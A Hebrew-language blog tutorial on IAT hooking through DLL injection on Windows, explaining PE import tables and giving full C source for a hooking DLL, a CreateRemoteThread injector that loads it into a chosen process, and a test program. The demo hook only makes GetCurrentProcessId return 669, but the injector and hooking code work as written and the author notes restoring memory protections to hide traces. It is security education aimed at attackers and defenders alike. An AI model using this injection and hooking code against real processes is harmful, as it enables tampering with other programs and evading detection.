המדריך למזריק (DLL) המתחיל – IAT Hooking Using DLL Injection - מאמר רביעי בסדרת הזרקות קוד ו-HOOKING

הקדמה

ברוכים הבאים למאמר הרביעי בסדרת ההזרקות וה-Hooking שלי. עד כה נגענו בעיקר בדרכי הזרקות. דיברנו על הזרקה פשוטה עם CreateRemoteThread, על הזרקה באמצעות APC Queue שהיא מעט יותר מתקדמת ועל הזרקה עם SetThreadContext (שימוש ב-Context ובמחסנית של Thread). כל אחת מהטכניקות מדברת אך ורק על שלב ההזרקה. לכן במאמר הבא, החלטתי לשים דגש על מה קורה אחרי ההזרקה. מה ניתן לעשות על מנת למנף את יכולת הרצת הקוד שלנו בתוך התהליך שתקפנו. מספר התשובות לשאלה הזו עצום. יש מגוון רחב של Payload-ים רלוונטיים במצב הזה. היום נדבר על ביצוע Hooking לטבלת ה-IAT של התהליך. לפני שנתחיל, אני מאוד ממליץ לקרוא את המאמר שלי על קבצי הרצה כדי להבין בצורה מקסימלית את הטכניקה שאסביר כעת. בכל מקרה, אסביר מה זה IAT אך לא אכנס לפרטי פרטים כמו שעשיתי במאמר שלי על קבצי הרצה ועל כן אני ממליץ לעבור עליו לפני כן אם הנושא חדש לכם. כמובן שגם במאמר זה נכתוב קוד אשר ידגים את הנאמר במאמר. נכתוב זאת צעד אחר צעד וגם בסוף המאמר תוכלו למצוא את הקוד בשלמותו.

מה זה Hooking

Hooking, בצורה הפשטנית ביותר, היא פעולה שמחליפה משהו אחד במשהו אחר וכך בדרך כלל מייצרת שליטה מסוימת. לדוגמה, אם אני משכתב כתובת של פונקציה א' בכתובת של פונקציה ב' ביצעתי Hooking על המחזיק של פונקציה א'. במבט ראשוני פעולה זו נשמעת זדונית בכל הקשר שלה אך זה לא נכון. חשבו על מוצרי אנטי-וירוסים. כיצד הם יכולים לנטר כל תהליך ותהליך במערכת? אז נכון, יש מספר דרכים שאחת מהן היא ביצוע Hooking על פונקציות מפתח כך שכאשר הן נקראות, למעשה נקראת הפונקציה שהאנטי-וירוס שם את הכתובת שלה במקום כתובת הפונקציה המקורית. כך האנטי-וירוס מקבל שליטה על ה-Flow של הקוד ויכול לנטר את התהליך. בסופו של דבר, בדרך כלל כאשר אין גורם בלתי לגיטימי מעורב בתהליך, הפונקציה המיועדת היא זו שתקרא מתוך הקוד של הפונקציה אותה הציב האנטי-וירוס. זה הצד הלגיטימי של הסיפור. הצד הפחות לגיטימי הוא כאשר תוקף מחליף כתובת של פונקציה א' בכתובת של הפונקציה שלו וכך הוא מריץ קוד בשמו של התהליך. יותר מזה, הוא מריץ את הקוד הזה בכל פעם שהתהליך הקורבן קורא לפונקציה א' שהרי הוא בכלל קורא לפונקציה של התוקף. מבחינת החוקר, כל עוד החוקר לא מבחין בכך שבוצע Hooking, יהיה קשה לחוקר להבין היכן מעורבותו של התוקף. Hooking יכול לבוא בכל מיני צורות. הצורה שנדבר עליה היא Hooking על כתובת בטבלת הייבוא של התהליך. מה זה אומר ואיך עושים את זה? בואו נבין.

טבלת הייבוא – Import Address Table

כל קובץ הרצה עובר תהליך שנקרא Linking. מטרת התהליך היא לחבר את כל הפיסות שהקוד צריך על מנת להפוך לקובץ הרצה כשר. כך אם קוד מסוים משתמש בספריות, מן הסתם שצריך לדאוג שקובץ ההרצה הסופי יקבל או את הספריות בתוכו או כתובות לפונקציות שהוא קורא להן כאשר הוא רץ. שתי האפשרויות האלה הן שני סוגי ה-Linking האפשריים. הנקודה הסופית היא, שכאשר תהליך קורא לפונקציה מספריה הוא חייב גישה לפונקציה הזו. אם המתכנת בחר שכל הספריות יכנסו לתהליך עצמו אז זה לא משנה היכן התהליך רץ – תמיד יהיה זמין עבורו הקוד של הספריות. אם המתכנת בחר שכל הספריות לא יכנסו לתהליך – התהליך יוכל לרוץ רק במחשבים בהם הספריות נוכחות. איך יודעת המערכת איזה ספריות התהליך צריך? קובץ ההרצה מספר לה. הוא מספר לה עם מספר מבנים שמייצגים את המידע שהתהליך צריך לייבא על מנת לרוץ כראוי. את המבנים האלה אפשר לפרסר כמו שעשיתי במאמר על קבצי הרצה חלק ב'. גם כאן נצטרך לפרסר חלק מהמבנים.

שימו לב: חלק מהמושגים שאגיד מכאן והלא העשויים להיות לא ברורים אם אין לכם רקע בקבצי הרצה. לכן אני חוזר ואומר קראו את המאמר שלי על קבצי הרצה או לפחות את החלק שמדבר על ייבוא.

החלק במידע המייצג את הייבוא של שהתהליך דורש נגיש תחילה (כשאני אומר תחילה אני מתכוון אחרי שהגענו להתפרסות ה-Data Directories של הקובץ הרצה) דרך המבנה IMAGE_IMPORT_DESCRIPTOR שקיים עבור כל DLL מיובא. המבנה הזה מפנה אותנו לכל המידע שהתהליך זקוק לו בהקשר של ה-DLL הזה. אם תהליך מייבא מארבעה DLL-ים, יהיו כאן ארבעה מבנים כאלה. למעשה 5 כאשר האחרון ריק מתוכן ומסמל את סוף השרשרת. כל המבנים נמצאים אחד אחרי השני ברצף. מתוך המבנה הזה נוכל להגיע לשתי טבלאות בשם Import Name Table ו-Import Address Table. כאשר התהליך נמצא בזיכרון, כלומר במצב בו נבצע Hooking, הטבלה הרלוונטית עבורנו היא ה-Import Address Table או בקיצור ה-IAT. ה-INT וה-IAT זהות בקובץ עצמו על הדיסק. ההבדל מגיע כאשר הקובץ נטען לזיכרון והופך לתהליך. ברגע זה ה-IAT משוכתב ומכיל את הכתובות של הפונקציות בהתאמה לסדר הרשומות ב-INT. ה-INT מכיל, הן על הדיסק והן בזיכרון, את התיאור של הפונקציות. כל רשומה ב-INT מורכבת מדגל שמציין אם הפונקציה מיובאת לפי שם או לפי מספר סידורי. בנוסף, הרשומה מכילה או את המספר הסידורי או את הכתובת הוירטואלית היחסית (RVA) לשם לפיו הפונקציה מיוצגת ליבוא.

עכשיו כשברור לנו איך מיוצגות פונקציות מיובאות בתהליך, זה דיי טריוויאלי למה נעשה Hooking. למקרה שזה לא, אנחנו נעשה Hooking לכתובת ב-IAT כאשר נאתר את הפונקציה עליה נרצה לעשות את ה-Hooking לפי ה-INT. בפועל השיטה תעבוד כך:
  1. נבנה Injector מאוד פשוט ולא נתעכב עליו, אתם יכולים לממש אותו איך שבא לכם אני אעשה זאת עם CreateRemoteThread.
  2. נבנה אפליקציה שתהיה הקורבן. היא תכיל קריאה לפונקציה שעליה נעשה Hooking.
  3. נבנה DLL שיכיל את הלוגיקה המתוארת בסעיפים הבאים.
  4. ה-DLL ישיג את ה-Image base של המודול שיצר את התהליך. כלומר את הכתובת אליה נטען הקובץ הרצה.
  5. ה-DLL יפרסר את ה-PE כך שיגיע לרשימה ה-Import Descriptor-ים (כל המבנים של ה-IMAGE_DESCRIPTOR_TABLE).
  6. ה-DLL ירוץ על כל Import Descriptor ויחפש את הפונקציות העונות על השם של הפונקציה עליה נרצה לבצע Hooking.
  7. ה-DLL יעשה Hook על כל פונקציה העונה על השם הנדרש ויחליף את הכתובת שלה לכתובת של פונקציה שתחזיר תמיד מספר שרירותי שנבחר בהמשך.

שימו לב: השיטה מבצעת Hooking על פי שם ולכן היא תעבוד כל עוד הפונקציה עליה רוצים לעשות Hooking מיובאת לפי השם שלה ולא מספר סידורי.

כתיבת ה-DLL

כמו שאמרתי, את ה-Injector לא אתאר שוב. אם אין לכם Injector ואתם לא יודעים או רוצים לכתוב אחד כזה מאפס, תוכלו להשתמש בשלי. אוסיף אותו בסוף המאמר יחד עם שאר הקוד. את כתיבת האפליקציה עליה נעשה את ה-Hook נעשה אחר כתיבת ה-DLL.
פתחו Visual Studio ובחרו פתיחת פרויקט חדש. בחרו שהפרויקט שלכם יהיה DLL כמתואר בתמונה.
תנו לשם ותקבלו פרויקט עם מספר קבצים מוכנים. הקובץ שמעניין אותי הוא ה-dllmain.cpp. הוא מגדיר את ה-Entry Point של ה-DLL. זה אומר שכאשר ה-DLL הזה יטען לזיכרון הפונקציה DLLMain תרוץ. בתחילתה יש Switch-Case עבור כל סיבה בעקבותיה הפונקציה הזו עשויה לרוץ. אותנו מעניין האופציה של DLL_PROCESS_ATTACH. אופציה זו תבחר כאשר התהליך יטען את ה-DLL. כאן נקרא לפונקציה בשם hooking אותה נבנה עוד רגע. לפני כן, צרו מחרוזת עם שם הפונקציה שתרצו לבצע עליה את ה-Hooking. אני בוחר ב-GetCurrentProcessId. ככה הקוד שלי נראה בינתיים:
עכשיו נגדיר פונקציה חדשה בשם hooking שתקבל את מחרוזת המייצגת את שם הפונקציה עליה הפונקציה תעשה את ה-Hooking.
כאמור, ראשית כל אנחנו צריכים לפרסר את תחילת קובץ ההרצה המרכזי של התהליך (כלומר זה שבאמצעותו התהליך הורץ) ולהגיע לפסקת הייבוא. כדי לעשות זאת נעבור דרך ה-Header-ים של הקובץ. נתחיל מה-Dos Header, לאחר מכן נגיע ל-PE Header ומשם ל-Optional Header. אחרי שהגענו לשם נגדיר מבנה של Data Directory ובו נציב את ה-Data Directory המפנה אותנו לפסקת הייבוא. כעת, כדי לקבל את ה-Import Descriptor הראשון, כל מה שאנחנו צריכים לעשות זה לקחת את Base Address של הקובץ הרצה בזיכרון ולחבר את זה ל-RVA הכתובה ב-Data Directory אותו הגדרנו משפט הקודם. את ה-Base Address נשיג עם הפונקציה GetModuleHandle כאשר הפרמטר הוא Null ונמיר לסוג DWORD. זה מה שיש לנו בינתיים:
כעת נתחיל לדפדף בכל Import Descriptor עם לולאה ובתוכה נבנה עוד לולאה שתרוץ על כל הפונקציות בכל DLL המתואר על ידי ה-Import Descriptor הנוכחי. נתחיל מלהגדיר מבנים ל-INT ול-IAT שבכל DLL. נציב בהם את הכתובת שלהם. הכתובת של ה-INT תתקבל כאשר נוסיף את ה-Base Address ל-RVA הכתוב ב-Import Descriptor בשדה ה-OrginalFirstThunk. אותו דבר נכון ל-IAT רק שבמקום ה-OriginalFirstThunk נשתמש בשדה FirstThunk. לאחר מכן נגדיר DWORD בשם CurrentProtect, עוד מספר משפטים נבין מה התפקיד שלו ולאחרון חביב נגדיר מבנה בשם PIMAGE_IMPORT_BY_NAME שיקבל את השמות של הפונקציות. הקוד נראה כך:
שימו לב: את i הגדרתי שורה לפניכן כ-int והצבתי בו 0. בנוסף, השורות המסומנות בהערות מיועדות לאלו מכם שירצו להדפיס את שמות ה-DLL-ים שהם עוברים דרכם בכל איטרציה של הלולאה. א' - זה טוב למטרת Debugging וב' – זה מגניב לראות בעיניים שאתם באמת עוברים על כל DLL. במקרה שלנו זה מיותר אז השארתי את זה כהערה.
החלק הסופי של הפונקציה מגיע עכשיו. אחרי כל ההגדרות מהפסקה הקודמת, עודנו בתוך הלולאה, ניצור לולאה נוספת. הלולאה הזו תבצע איטרציות בתוך ה-Import Descriptor כך שתעבור על כל הפונקציות ב-DLL. היא תעצור כאשר תזהה שהרשומה ב-INT מכילה 0. לכן ההגדרה של הלולאה תהיה "כל עוד הרשומה ב-INT לא מכילה 0 בשדה ה-AddressOfData שמכוון לשם הפונקציה. לאחר מכן בתוך הלולאה, נתחיל מתנאי ששואל "האם הדגל המציין ייבוא באמצעות מספר סידורי אינו דולק" אם התנאי הזה נכון ניכנס לבלוק נוסף של קוד. הבלוק הזה מכיל מספר חלקים. המטרה שלנו בבלוק הזה היא לבדוק אם שם הפונקציה הנוכחית זהה לשם הפונקציה עליה אנחנו רוצים לעשות Hook. אם כן נבצע את ה-Hook ואם לא נעבור להבאה בתור. לכן ראשית נשיג את שם הפונקציה מחיבור של ה-Base Address (המוכר לנו כבר) עם השדה AddressOfData שנמצא ברשומה. לאחר מכן ניצור תנאי שמשווה את שם הפונקציה הרצוי עם שם הפונקציה המצוי. אם התנאי מתקיים והם שווים, נשתמש ב-VirtualProtect כדי לשנות את הרשאות הזיכרון על הדפים האלה. המצב הנוכחי לא מאפשר לנו לכתוב לדפי זיכרון אלו ולכן נצטרך לשנות זאת. כאן נכנס הפאנץ' – בשורת הקוד הבאה ניקח את שדה ה-function ברשומה ב-IAT (שהיא הרשומה המקבילה לרשומה עליה דיברנו עד כה ב-INT) ונחליף את הערך שלה לכתובת של הפונקציה שלנו. אחרי כל זה, מחוץ לשני התנאים הללו נקדם את מבנה ה-IAT ואת מבנה ה-INT ב-1 כדי לעבור לרשומה הבאה. כך נראה הקוד של השלב הזה:

שימו לב: לגבי ה-CurrentProtect שהזכרנו קודם – הפונקציה VirtualProtect תאחסן בו את הרשאות הדפים לפני פעולה. זה יכול לעזור לנו למקרה שנרצה לשחזר את ההרשאות שהיו על מנת למזער עקבות. לא הכנסתי את זה לקוד אך ראוי לציין זאת. לא נשכח לקדם את המשתנה i באחד בסיום כל לולאה (הלולאה החיצונית) כדי לעבור ל-Import Descriptor הבא.

החלק האחרון בפאזל הוא הפונקציה ModifiedGetCurrentProcessId. מכיוון שהיא באה להחליף את GetCurrentProcessId היא חייבת להיות זהה לה בחתימה. כלומר לקבל את אותם פרמטרים, להחזיר את אותו ערך ולעבוד עם אותן קונבנציות קריאה. לכן היא תהיה חייבת להיראות כך:
הערך חזרה הוא זה שתמיד יחזור כאשר הקורבן יקרא ל-GetCurrentProcessId לאחר ה-Hooking. עכשיו שהכל ברור והקוד שלנו מוכן, בואו נראה הדגמה. לפני כן כמובן קמפלו את הקוד. ה-Injector שלי מקבל PID ומזריק אליו את ה-DLL שכתבנו עכשיו. להלן התוצאה:

הקוד של ה-DLL

// dllmain.cpp : Defines the entry point for the DLL application.
#include "stdafx.h"
#include <Windows.h>;
int hooking(char*);
DWORD WINAPI ModifiedGetCurrentProcessId();
INT APIENTRY DllMain(HMODULE hDLL, DWORD Reason, LPVOID Reserved) {
char apiBuffer[] = "GetCurrentProcessId";
switch (Reason) {
case DLL_PROCESS_ATTACH:
hooking(apiBuffer);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
// this func called for start the hooking
int hooking(char* nameOfAPI) {
DWORD baseAddress = (DWORD)GetModuleHandle(NULL);
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)baseAddress;
PIMAGE_NT_HEADERS peHeader = (PIMAGE_NT_HEADERS)(baseAddress + (*dosHeader).e_lfanew);
IMAGE_OPTIONAL_HEADER32 optionalHeader = (*peHeader).OptionalHeader;
IMAGE_DATA_DIRECTORY importDirectory = (optionalHeader).DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
PIMAGE_IMPORT_DESCRIPTOR importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)
(importDirectory.VirtualAddress + baseAddress);
int i = 0;
while (importDescriptor[i].Characteristics != 0) {
PIMAGE_THUNK_DATA thunkINT = (PIMAGE_THUNK_DATA)
(importDescriptor[i].OriginalFirstThunk + baseAddress);;
PIMAGE_THUNK_DATA thunkIAT = (PIMAGE_THUNK_DATA)
(importDescriptor[i].FirstThunk + baseAddress);
DWORD CurrentProtect;
PIMAGE_IMPORT_BY_NAME nameData;
while ((*thunkINT).u1.AddressOfData != 0) {
if (!((*thunkINT).u1.Ordinal & IMAGE_ORDINAL_FLAG)) {
nameData = (PIMAGE_IMPORT_BY_NAME)((*thunkINT).u1.AddressOfData + baseAddress);
if (strcmp(nameOfAPI, (char*)(*nameData).Name) == 0) {
VirtualProtect(thunkIAT, 4096, PAGE_READWRITE, &CurrentProtect);
thunkIAT->u1.Function = (DWORD)&ModifiedGetCurrentProcessId;
}
}
thunkINT++;
thunkIAT++;
}
i++;
}
return TRUE;
}
DWORD WINAPI ModifiedGetCurrentProcessId() {
return 669;
}
view raw IATHooking.c hosted with ❤ by GitHub

הקוד של ה-Injector

#include <Windows.h>
#include <stdio.h>
int main(int argc, char* argv[]) {
if (argc < 1) {
printf("Enter PID of the injected process and try again");
return 1;
}
int procID = atoi(argv[1]);
printf("\nThe PID of the injceted process is: %d\n", procID);
// Path to payload
char buffer[] = "D:\\C\\IatHookingVS2\\exampleDLL\\Debug\\exampleDLL.dll";
// Get process handle passing in the process ID.
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procID);
if (process == NULL) {
printf("Error: the specified process couldn't be found.\n");
}
// Get address of the LoadLibrary function.
LPVOID addr = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
if (addr == NULL) {
printf("Error: the LoadLibraryA function was not found inside kernel32.dll library.\n");
}
// Allocate new memory region inside the process's address space.
LPVOID arg = (LPVOID)VirtualAllocEx(process, NULL, strlen(buffer), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (arg == NULL) {
printf("Error: the memory could not be allocated inside the chosen process.\n");
}
// Write the argument to LoadLibraryA to the process's newly allocated memory region.
int n = WriteProcessMemory(process, arg, buffer, strlen(buffer), NULL);
if (n == 0) {
printf("Error: there was no bytes written to the process's address space.\n");
}
// Inject our DLL into the process's address space.
HANDLE threadID = CreateRemoteThread(process, NULL, 0, (LPTHREAD_START_ROUTINE)addr, arg, NULL, NULL);
if (threadID == NULL) {
printf("Error: the remote thread could not be created.\n");
}
else {
printf("Success: the remote thread was successfully created.\n");
}
// Close the handle to the process, becuase we've already injected the DLL.
CloseHandle(process);
return 0;
}
view raw Injector.c hosted with ❤ by GitHub

הקוד של האפליקציה

#include <Windows.h>
#include <stdio.h>
int main() {
while (TRUE) {
printf("process id: %d\n", GetCurrentProcessId());
Sleep(1000);
}
return 1;
}

סיכום

לסיכום, עד כה בסדרה (שדרך אגב, כמעט מגיעה לסיומה) עסקנו בעיקר בשלב ה-Injection ופחות באיך לנצל היכולת שהשגנו. במאמר הנוכחי, ראינו כמה עוצמתית היכולת של הזרקת קוד יכולה להיות. אתם יכולים להזריק את עצמכם לכל תהליך שיש לכם הרשאות עליו ולשנות את אופן פעילותו על פי רצונכם. IAT Hooking היא רק פעולה אחת שאפשר לעשות אחרי הזרקה ולמעשה יש מגוון עצום של אפשרויות שפרוסות בפני התוקף כאשר יש לו יכולת הזרקה והרצת קוד. בחרתי לדבר על IAT Hooking בעיקר בגלל הפשטות שלה אך יחד עם זאת העוצמה שלה. מקווה שהמאמר תרם לכם לא משנה אם אתם בצד האדום או הכחול של המשחק. לקבלת התראות על מאמרים חדשים, עקבו אחרי בטוויטר וב-LinkedIn והוסיפו את הבלוג ל-RSS Feed שלכם. לעצות, ביקורות וכל דבר אחר שבא לכם להגיד לי – אתם מוזמנים לעשות זאת באמצעות המייל שלי Orih90@gmail.com. אשמח לראות תגובות למאמר ולשמוע כיוונים לדברים שהייתם רוצים לראות בבלוג ואולי אדבר עליהם. נתראה במאמר הבא.

תגובות